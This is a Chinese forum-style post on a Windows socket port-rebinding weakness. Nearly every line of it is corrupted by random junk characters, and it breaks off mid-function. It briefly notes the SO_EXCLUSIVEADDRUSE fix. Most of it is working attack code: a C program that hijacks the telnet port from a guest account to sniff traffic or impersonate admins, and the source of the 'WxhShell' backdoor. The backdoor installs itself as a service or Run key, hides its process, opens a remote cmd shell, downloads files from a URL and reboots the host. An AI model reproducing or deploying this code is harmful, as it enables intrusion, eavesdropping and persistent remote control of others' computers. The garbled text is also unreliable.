在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
vErbX3RY2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
NWq [22X
| s?z=q%-p saddr.sin_family = AF_INET;
crF9,p JN9H T0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lVO(9sl*i G+%5V5GS bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
FZLzu *AJezhR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\p_8YC SK~;<>:37 这意味着什么?意味着可以进行如下的攻击:
/3bca !O dh7)N}2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$(!D/bvJ NC#kI3 { 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2T{-J!k !3gpiQH{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|Cxip&e> +=lcN~U2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y=#mx3. L>K39z~, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
n$Oky-P" ^~hhdwu3a 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_a:!U^4 s`7
_J9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
F'T=
Alf
A1&>L9nUx #include
7Ohu$5\ #include
L< nkI #include
A+Pm "| #include
:7AauoI DWORD WINAPI ClientThread(LPVOID lpParam);
mqfEs0~I int main()
D=Yag!1 {
Y_TL4 WORD wVersionRequested;
XzTH,7[n DWORD ret;
=.3P)gY) WSADATA wsaData;
_s#/f5<:B BOOL val;
LKwUpu! SOCKADDR_IN saddr;
&t@6qi`d SOCKADDR_IN scaddr;
e#Zf>hlAz int err;
t,as{.H{h SOCKET s;
M,dzf
SOCKET sc;
d1LTyzLr int caddsize;
t+Q|l&|0 HANDLE mt;
r
z>zdj5} DWORD tid;
Y+5A2Z)f[ wVersionRequested = MAKEWORD( 2, 2 );
pOe` *2[ err = WSAStartup( wVersionRequested, &wsaData );
Eo3Aak o if ( err != 0 ) {
D-\'P31 printf("error!WSAStartup failed!\n");
A0 w `o return -1;
(2a"W` }
bm]dz;ljh saddr.sin_family = AF_INET;
qCFXaj
pDnFT2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kJ5?BdvM& u\& [@v saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
SwmPP-n saddr.sin_port = htons(23);
T"0)%k8lJ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oKqFZ,m[ {
`EW_pwZPA printf("error!socket failed!\n");
{83He@ return -1;
1*Fvx-U' }
QR-R5XNT[ val = TRUE;
9Z_OLai
//SO_REUSEADDR选项就是可以实现端口重绑定的
q.K$b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ClVpb ew {
c#-97"_8 printf("error!setsockopt failed!\n");
d"$oV~>P| return -1;
?@ye*%w_ }
1ROgUJ; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
UK9MWC5g9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q)i`.mHfFI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
OU964vv R;m0eG` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.Yv.-A=ZIg {
vrEaNT$J- ret=GetLastError();
.mU.eLM printf("error!bind failed!\n");
X;a{JjN return -1;
A2FU}Ym0= }
Kgio}y listen(s,2);
;{C{V{ while(1)
H_r'q9@<> {
ZN]c>w[
)I caddsize = sizeof(scaddr);
>Ti2E+}[M //接受连接请求
0Y`tj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
w*R-E4S?2 if(sc!=INVALID_SOCKET)
Y8xnvK* {
r{3`zqo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1&L){ hg if(mt==NULL)
X!+ a;wr {
uz2s- , printf("Thread Creat Failed!\n");
v/6,eIz break;
CoN/L`.SN }
z7}zf@Y-qv }
>Ezwl5b CloseHandle(mt);
Xr6 !b:UX }
U[ungvU1U closesocket(s);
?cxK~Y\ WSACleanup();
}4ju2K return 0;
sWCm[HpG }
JBJ7k19; DWORD WINAPI ClientThread(LPVOID lpParam)
]O `
[v {
<UL|%9=~ SOCKET ss = (SOCKET)lpParam;
9<r}s SOCKET sc;
p%y\`Nlgdx unsigned char buf[4096];
!>);}J!e] SOCKADDR_IN saddr;
5K-)X9z? long num;
)CTM DWORD val;
e*Med)tc^$ DWORD ret;
1KR|i" //如果是隐藏端口应用的话,可以在此处加一些判断
&>b1ES.> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;l4\^E1 saddr.sin_family = AF_INET;
9{#|sABGD saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'i-O saddr.sin_port = htons(23);
n\p\*wb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
491I {
WQC6{^/4[1 printf("error!socket failed!\n");
-Dm.z16 return -1;
D;n%sRq(Z }
beR)8sC3q val = 100;
=8D4:Ds if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ymCIk/\ {
~J{{n_G{ ret = GetLastError();
H?^#zj`Ex+ return -1;
V-r<v1}M }
~,1q :Kue if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)t=u(:u] {
{EN@,3bA ret = GetLastError();
0>MI*fnY" return -1;
N6 8>` }
"kg$s5o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D*Q#G/TF3 {
/8HO7E+5 printf("error!socket connect failed!\n");
OkUpgXU closesocket(sc);
!Qzp!k9d closesocket(ss);
/j@r~mt/pA return -1;
O;sQPG,v }
<%7
V`,*g/ while(1)
cTTE]ix] {
)eMh,r
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)fL*Ws6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
o+Z9h1z%, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iRtDZoiD' num = recv(ss,buf,4096,0);
S:\hcW6 if(num>0)
Y\|J1I,Z4 send(sc,buf,num,0);
l!` 0I] } else if(num==0)
*
XGBym break;
e!Okc*, num = recv(sc,buf,4096,0);
W-QPO if(num>0)
X5<.%@Z send(ss,buf,num,0);
9Dw&b else if(num==0)
iCKwd 9?) break;
>MrU^t }
v|2j~ closesocket(ss);
R!qrb26k closesocket(sc);
(W!$6+GT return 0 ;
[0#hgGO]P }
Lc?O K"[m ;VRR=p%, 5^/[] * ==========================================================
mIo7 K5z{ WfNMyI 下边附上一个代码,,WXhSHELL
RBD
MZ p2(_YN;s ==========================================================
LTct0Gh db~ :5#* #include "stdafx.h"
/vMyf),2 :n9^:srGZH #include <stdio.h>
H\bIO!vb #include <string.h>
~ }22 Dvo #include <windows.h>
wm71,R1 #include <winsock2.h>
f|0QN#$ #include <winsvc.h>
4pT|r6!< #include <urlmon.h>
;#j82 ]l%.X7M9 #pragma comment (lib, "Ws2_32.lib")
j@!}r|-T #pragma comment (lib, "urlmon.lib")
A,)ELVk1F EPRs%(w` #define MAX_USER 100 // 最大客户端连接数
w\*/(E<:
#define BUF_SOCK 200 // sock buffer
FJ"9Hs2 #define KEY_BUFF 255 // 输入 buffer
hspg-|R Am
$L #define REBOOT 0 // 重启
F
k;su,]_ #define SHUTDOWN 1 // 关机
-5.%{Go$[ |hoZ: #define DEF_PORT 5000 // 监听端口
QovC*1' s\!vko'M #define REG_LEN 16 // 注册表键长度
q:^Cw8 #define SVC_LEN 80 // NT服务名长度
>IjLFM+U <LN $[&f# // 从dll定义API
q04Dj-2< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|9eY
R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2A+,. S_!x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
J3;KQ}F.I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
n.RhA-O hh&y2#Io // wxhshell配置信息
5zOSb$; struct WSCFG {
B,,d~\ int ws_port; // 监听端口
>,Z{wxzJ char ws_passstr[REG_LEN]; // 口令
Ao$z)<d' int ws_autoins; // 安装标记, 1=yes 0=no
DA~ELje^j char ws_regname[REG_LEN]; // 注册表键名
Q;nr=f7Ys char ws_svcname[REG_LEN]; // 服务名
yw!`1#3. char ws_svcdisp[SVC_LEN]; // 服务显示名
qV,j)b3M char ws_svcdesc[SVC_LEN]; // 服务描述信息
w-Fk&dC69 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GR
`ncI$z int ws_downexe; // 下载执行标记, 1=yes 0=no
2z3A"HrlA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
f*Js= hvO char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_9r{W65s ^j}sS!p };
{m:R v&T W^Y0>W~ // default Wxhshell configuration
;bE6Y]"Rz struct WSCFG wscfg={DEF_PORT,
3~rc=e "xuhuanlingzhe",
cU|jT8Q4H 1,
=U2n"du "Wxhshell",
a*ymBGF "Wxhshell",
x$DJ "WxhShell Service",
V"iLeC "Wrsky Windows CmdShell Service",
*'-^R9dN.S "Please Input Your Password: ",
+to9].O7y 1,
8 GN{*Hg "
http://www.wrsky.com/wxhshell.exe",
F9r*ZyNlx "Wxhshell.exe"
vy2aNUmt };
ZQA
C&: 5&=n // 消息定义模块
m28w4
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?Nql7F4 char *msg_ws_prompt="\n\r? for help\n\r#>";
3>v0W@C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DjvgKy=Jr_ char *msg_ws_ext="\n\rExit.";
B)8Hj).@B char *msg_ws_end="\n\rQuit.";
y/eX(l<{ char *msg_ws_boot="\n\rReboot...";
Un{ln*AR\ char *msg_ws_poff="\n\rShutdown...";
1s[-2^D+EM char *msg_ws_down="\n\rSave to ";
'U$VOq?! W=]",< char *msg_ws_err="\n\rErr!";
z-gG( char *msg_ws_ok="\n\rOK!";
uf]$@6) Fg_s'G,` char ExeFile[MAX_PATH];
*PU,Rc()6 int nUser = 0;
cLC7U?- HANDLE handles[MAX_USER];
NI:N
W-! int OsIsNt;
^I?y\:. REBDr;tv SERVICE_STATUS serviceStatus;
1G.gPx[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
?ovGYzUZ tdF[2@?+ // 函数声明
DNBpIC5&6 int Install(void);
#!# X3j int Uninstall(void);
v=-3 ,C int DownloadFile(char *sURL, SOCKET wsh);
ABmDSV5i int Boot(int flag);
o;_bs~}y void HideProc(void);
WPKTX,k int GetOsVer(void);
{
BL1j int Wxhshell(SOCKET wsl);
^|(4j_.(e void TalkWithClient(void *cs);
z
]N~_9w int CmdShell(SOCKET sock);
z}&C(m:al int StartFromService(void);
vaJXX int StartWxhshell(LPSTR lpCmdLine);
FD+PD:cQn IF}c*uGj} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E9 q;>)} VOID WINAPI NTServiceHandler( DWORD fdwControl );
1t=X: ]0j m@yVG|eP# // 数据结构和表定义
<>Ddxmw SERVICE_TABLE_ENTRY DispatchTable[] =
8Flf,"a {
\[I . {wscfg.ws_svcname, NTServiceMain},
/Py>HzRE: {NULL, NULL}
zb}+ m#q };
fYM6wYJ H<7DcwXv // 自我安装
G5y int Install(void)
ai
_fN {
)\\V
s>9 char svExeFile[MAX_PATH];
&dDI*v+ HKEY key;
?iEXFYJG strcpy(svExeFile,ExeFile);
G_N-}J>EP q }v04Yy,o // 如果是win9x系统,修改注册表设为自启动
ww t()
if(!OsIsNt) {
%g@3S!lK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O| 6\g>ew RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'EET3RK-S RegCloseKey(key);
Bd~cY/M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6aZt4Lw2\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>dvWa-rNUT RegCloseKey(key);
+[8Kl=]L return 0;
m|2]lb }
X$|TN+Ub }
KD"&_PX }
avt>saR else {
p@7i=hyt`p Ma=6kX] // 如果是NT以上系统,安装为系统服务
q?-3^z%u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]pR fY9w if (schSCManager!=0)
v;bP8)mI {
8Z4?X% SC_HANDLE schService = CreateService
<.=#EV^i (
P
5qa:< schSCManager,
AXh3LA wscfg.ws_svcname,
V)1:LLRW wscfg.ws_svcdisp,
!`
M;# SERVICE_ALL_ACCESS,
lO2T/1iMTW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TcKvSdr' SERVICE_AUTO_START,
l'7Mw%6{ SERVICE_ERROR_NORMAL,
^/ DII`A svExeFile,
Y=:KM~2hv NULL,
S\3AW,c]w NULL,
I)XOAf$6 NULL,
^#BGA|j NULL,
"0'*q<8 NULL
W`Q$t56 );
uh5Pn#da^ if (schService!=0)
K(Q]&&< {
<K,%
y(] CloseServiceHandle(schService);
O@r.> CloseServiceHandle(schSCManager);
ckf<N9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
RrO0uadmn strcat(svExeFile,wscfg.ws_svcname);
Q$3\ /mz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oEQ{m5O9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
y^d[( c RegCloseKey(key);
KM/U?`6>: return 0;
[*9YIjn }
gv#c~cX] }
Xb=2/\}|f CloseServiceHandle(schSCManager);
Tf#2"(! }
mWli}j# }
~&DB!6* a/QtJwIV return 1;
so!w !O@@ }
1tc]rC4h h6\3vfj^f // 自我卸载
<'}b*wUB int Uninstall(void)
p<=(GY- {
v@fe-T&0 HKEY key;
O}K_l1 g|K6iY if(!OsIsNt) {
cPq Dsl3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X-)RU? RegDeleteValue(key,wscfg.ws_regname);
fO^e+Mz RegCloseKey(key);
r=~WMDCz@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4{;8:ax&w RegDeleteValue(key,wscfg.ws_regname);
([,vX"4 RegCloseKey(key);
{Ax)[<i return 0;
^)f{q)to }
;-KAUgL2 }
>d8x<|D }
b^[W_y else {
9;0V
/y KE/-VjZu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?$|uT if (schSCManager!=0)
W\@?e32 {
9Z,*h-o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.D8~)ZWN if (schService!=0)
eg"=H50 {
aho'|%y) if(DeleteService(schService)!=0) {
cOSxg=~>u CloseServiceHandle(schService);
eyeNrk*2o CloseServiceHandle(schSCManager);
[G{rHSK5tQ return 0;
4M @oj }
jWH{;V&ZV CloseServiceHandle(schService);
4F05(R8k }
mje<d"bW CloseServiceHandle(schSCManager);
jM5_8nS&d }
=\~E n5 }
r0\cc6 ?EI'^xg return 1;
op hH9D }
tcBC!_vF xS6(K // 从指定url下载文件
=?/N5O( int DownloadFile(char *sURL, SOCKET wsh)
lGdM80f {
L5"8G,I HRESULT hr;
'[Mlmgc5 char seps[]= "/";
#yW.o'S+ char *token;
YfE>Pn'r char *file;
zRwb" char myURL[MAX_PATH];
Lw*;tL<, char myFILE[MAX_PATH];
51I|0ly .6> hD1' strcpy(myURL,sURL);
3B@y &a#& token=strtok(myURL,seps);
*#3*;dya] while(token!=NULL)
^"3\iA: {
.z=U= _e file=token;
weNzYMf% token=strtok(NULL,seps);
"pt+Fe|@c; }
Dt.0YKF 16"#i GetCurrentDirectory(MAX_PATH,myFILE);
3`8dii strcat(myFILE, "\\");
yGU .AM strcat(myFILE, file);
9mam ~)_ | send(wsh,myFILE,strlen(myFILE),0);
exfmq send(wsh,"...",3,0);
IQ ){(Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
nD7|8,' if(hr==S_OK)
NF6X- ,cd return 0;
yJ%t^ X_ else
<&4nOt return 1;
9|'
|BC >;
aCf#q }
"r
u]?{v /:bKqAz;M // 系统电源模块
e# t3u_ int Boot(int flag)
{vs 4vS6 {
6SE6AL<b HANDLE hToken;
$:Rn; TOKEN_PRIVILEGES tkp;
FY$fV"s gX[|;IZ0o if(OsIsNt) {
)FRM_$t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/QQ8.8=5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
LH4>@YPGE# tkp.PrivilegeCount = 1;
Ng\/)^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
C)NC&fV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fX_#S|DlSG if(flag==REBOOT) {
!)N|J$FU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
dd]?9 return 0;
{jjSJIV1 }
MhNFW'_ else {
j`O7=- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P`
#QGZ> return 0;
[r(Qs| }
r#A_RZ2~@ }
2K;#Evn'j else {
Z1M>-[j) if(flag==REBOOT) {
Frk c O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
g?B3!,!9 return 0;
MU'@2c }
zF8'i=b& else {
PocYFhWQ` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
qD#VbvRc9+ return 0;
bp#:UUO%S }
2R]&v;A }
J{`eLmTu !22yvT.;[ return 1;
=+Im*mgNn }
EeB ]X24 4e +~.5r@i // win9x进程隐藏模块
'0:i<`qv#g void HideProc(void)
77V
.["=7 {
9}5K6aQ CswE HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
in<}fAro6 if ( hKernel != NULL )
SVagT'BB {
H6gU?9% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'_dzcN,z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
K$H
<}e3 FreeLibrary(hKernel);
Y>BP?l }
m
41t(i 'Hw4j:pS return;
nBN&.+3t }
@wp4 |G [ |[>}z: // 获取操作系统版本
q]\X~
9# int GetOsVer(void)
&-%X:~|:X {
P}V=*g OSVERSIONINFO winfo;
k;I &.H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
EATu KLP\ GetVersionEx(&winfo);
3$VxRz) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3LDsxE=N:q return 1;
Gs
dnf 7 else
fTqC:r|st return 0;
o%[U }
Z)pz, #D*r]M // 客户端句柄模块
jTb-;4N' int Wxhshell(SOCKET wsl)
>xu[q\:" {
.R5y:O SOCKET wsh;
99=s4*xzM struct sockaddr_in client;
"CQw/qZw DWORD myID;
|Ps% M|8~ [mUBHYD7OI while(nUser<MAX_USER)
y#v"GblM {
<YFY{VC( int nSize=sizeof(client);
]3B %8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
15{Y9! if(wsh==INVALID_SOCKET) return 1;
GKiukX$' v>A=2i*j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
4 o(bxs" if(handles[nUser]==0)
Q7gY3flg closesocket(wsh);
9!U@"~yB else
ifK%6o6 nUser++;
~]'pY }
U7iuY~L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
I]nHbghcW w,1Ii }d9 return 0;
}P9Ap3? }
1mH%H*# R}:KE&tq // 关闭 socket
9}29&O void CloseIt(SOCKET wsh)
BVw Wj-, {
(k`{*!:1a closesocket(wsh);
FP^{=0 nUser--;
R?66b{O ExitThread(0);
DJ@|QQ }
wmU0E/{9] xSK~s // 客户端请求句柄
}fR,5|~X void TalkWithClient(void *cs)
Y+~g\z-]c {
x9W(cKB'S /mM2M- SOCKET wsh=(SOCKET)cs;
O
5Nb char pwd[SVC_LEN];
}(XdB:C8 char cmd[KEY_BUFF];
kJQ#Wz|z] char chr[1];
j'0r' int i,j;
?7MqeR4/E i/So6jW while (nUser < MAX_USER) {
]@^coj[ Xz 4 x if(wscfg.ws_passstr) {
lb*8G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ww k
P F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_7T@5\b:; //ZeroMemory(pwd,KEY_BUFF);
H ?M/mGP i=0;
o*g|m.SjL while(i<SVC_LEN) {
$2~\eG=u H vhuw&.\ // 设置超时
ULH0'@BJ fd_set FdRead;
TBrGA
E struct timeval TimeOut;
} MbH3ufC FD_ZERO(&FdRead);
AJ^#eY5 FD_SET(wsh,&FdRead);
{yA$V0`N{ TimeOut.tv_sec=8;
Q&'}BeUbm TimeOut.tv_usec=0;
JRMM? y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Wu6<\^A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
A'&n5)tb Mwp$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'1^B+m pwd
=chr[0]; X^9d/}uTa
if(chr[0]==0xd || chr[0]==0xa) { fq[;%cr4
pwd=0; +>~?m*$
break; YW\0k5[
} R%D'`*+
i++; 6x)$Dl
}
!R-z%
s@hRqGd:
// 如果是非法用户,关闭 socket D}C,![
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?ULo&P[
} z+ a%5J
!2UOC P
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3bZIYF2@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C:8_m1Y{
3@Z#.FV~C[
while(1) { 7!y5
SX8C
!\8 ;d8
ZeroMemory(cmd,KEY_BUFF); 4MuO1W-
2Qp Hvsl_
// 自动支持客户端 telnet标准 E{^ XlY
j=0; Rm1A>1a:
while(j<KEY_BUFF) { A\_ |un%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +
b$=[nfG
cmd[j]=chr[0]; -x8nQ%X
if(chr[0]==0xa || chr[0]==0xd) { dz
[!-M
cmd[j]=0; @yXfBML?]
break; zk*c)s
} ##Q/I|
j++; [.hyZ}B
} -Y
Bd, k3
'bld,Do6
// 下载文件 *KY=\
%D
if(strstr(cmd,"http://")) { hQ6a~?f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .h&k jD
if(DownloadFile(cmd,wsh)) ;$Y4xM`=m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")O`mXg-
else VhjM>(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); joKIrS0y
} Uw,2}yR
else { ~8"8w(CG*I
ay "'#[
switch(cmd[0]) { \I"Z2N>^z
]?x:
Qm'yo
// 帮助 <<=WY_m}
case '?': { jdE5~a+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -C(b,F%%
break; 9% l%
} Yt|6
X:l
// 安装 YEkh3FrbwH
case 'i': { .<tquswg
if(Install()) { -|{xBd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )X9W y!w0
else MX4]Vpv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b@3_L4~
break; B+^(ktZp@
} \AL
f$88>@
// 卸载 !RyO\>:q
case 'r': { \#o2\!@`
if(Uninstall()) OGl$W>w1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yaq'Lt`
else A)%A!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [,2|Flf
e
break; { hln?'
} AU-n&uX
// 显示 wxhshell 所在路径 "qc6=:y}
case 'p': { /Q~gU<
char svExeFile[MAX_PATH]; A,r*%&4~
strcpy(svExeFile,"\n\r"); vad12WrG<
strcat(svExeFile,ExeFile); yG Wnod'
send(wsh,svExeFile,strlen(svExeFile),0); ` PYJ^I0
break; f2,jh}4
} >pU:Gr
// 重启 *@d&5
case 'b': { EkGQ(fZ1|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F(na{<g};
if(Boot(REBOOT)) "\0v,!@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6JKqn~0Kk
else { PJ cwH6m
closesocket(wsh); G$ _yy:
ExitThread(0); s'kDk2r
} %Y!Yvw^&P(
break; P!"&%d
} 6mKjau{r_
// 关机 )_/5*Ly@
case 'd': { v3v[[96p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uV 7BK+[O
if(Boot(SHUTDOWN)) GnP|x}YM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s21wxu:
else { 7 ^w >Rj
closesocket(wsh); NPFpq,P>
ExitThread(0); vN3Zr34
} BD`2l!d
break; WVY\&|)$
} ('-JY
// 获取shell ;FZ@:%qDm
case 's': { Sm~l:v0%
CmdShell(wsh); o]
mD"3_
closesocket(wsh); 2h[85\4
ExitThread(0); 0P\$2lk
break;
Z*-g[8FO
} S[7WW$lF
// 退出 =XXZ?P
case 'x': { sZW^!z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K_K5'2dE
CloseIt(wsh); 4lBU#V7
break; D@!=d@V.
} wm+/e#'&
// 离开 ?_I[,N?@41
case 'q': { NJNJjdD>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); SRDXfkoI
closesocket(wsh); X^WrccNX
WSACleanup(); JPGzrEaZ
exit(1); 7"8hC
break; +[5.WC7J
} Z!U)I-x&
} i+gQE!
} !qX_I db\
B/`
!K
// 提示信息 i86>]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E*jP8 7g
} ?s:d[To6
} qL,tYJ<m%
wC5ee:u C%
return; 1UKg=A-q
} F^hBtfz
W"Gkq!3u{
// shell模块句柄 }g4 M2|
int CmdShell(SOCKET sock) H<^/Ati,|
{ 1x[)/@.'f
STARTUPINFO si; }[M`uZ
ZeroMemory(&si,sizeof(si)); :UQTEdc{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RIIitgV_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g55`A`5%C
PROCESS_INFORMATION ProcessInfo; h[PYP5{L
char cmdline[]="cmd"; }fKSqB]T-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TC<@e<-%Sq
return 0; C:Hoq(
} Zfyo-Wk
qG<$Ajiin
// 自身启动模式 &gjF4~W]
int StartFromService(void) qbv#I;
{ q`pP$i:
typedef struct 8jyG"%WO
{ Sv &[f}S
DWORD ExitStatus; J9=m]R8T
DWORD PebBaseAddress; 3;a<_cE*@
DWORD AffinityMask; }Q";aU0^
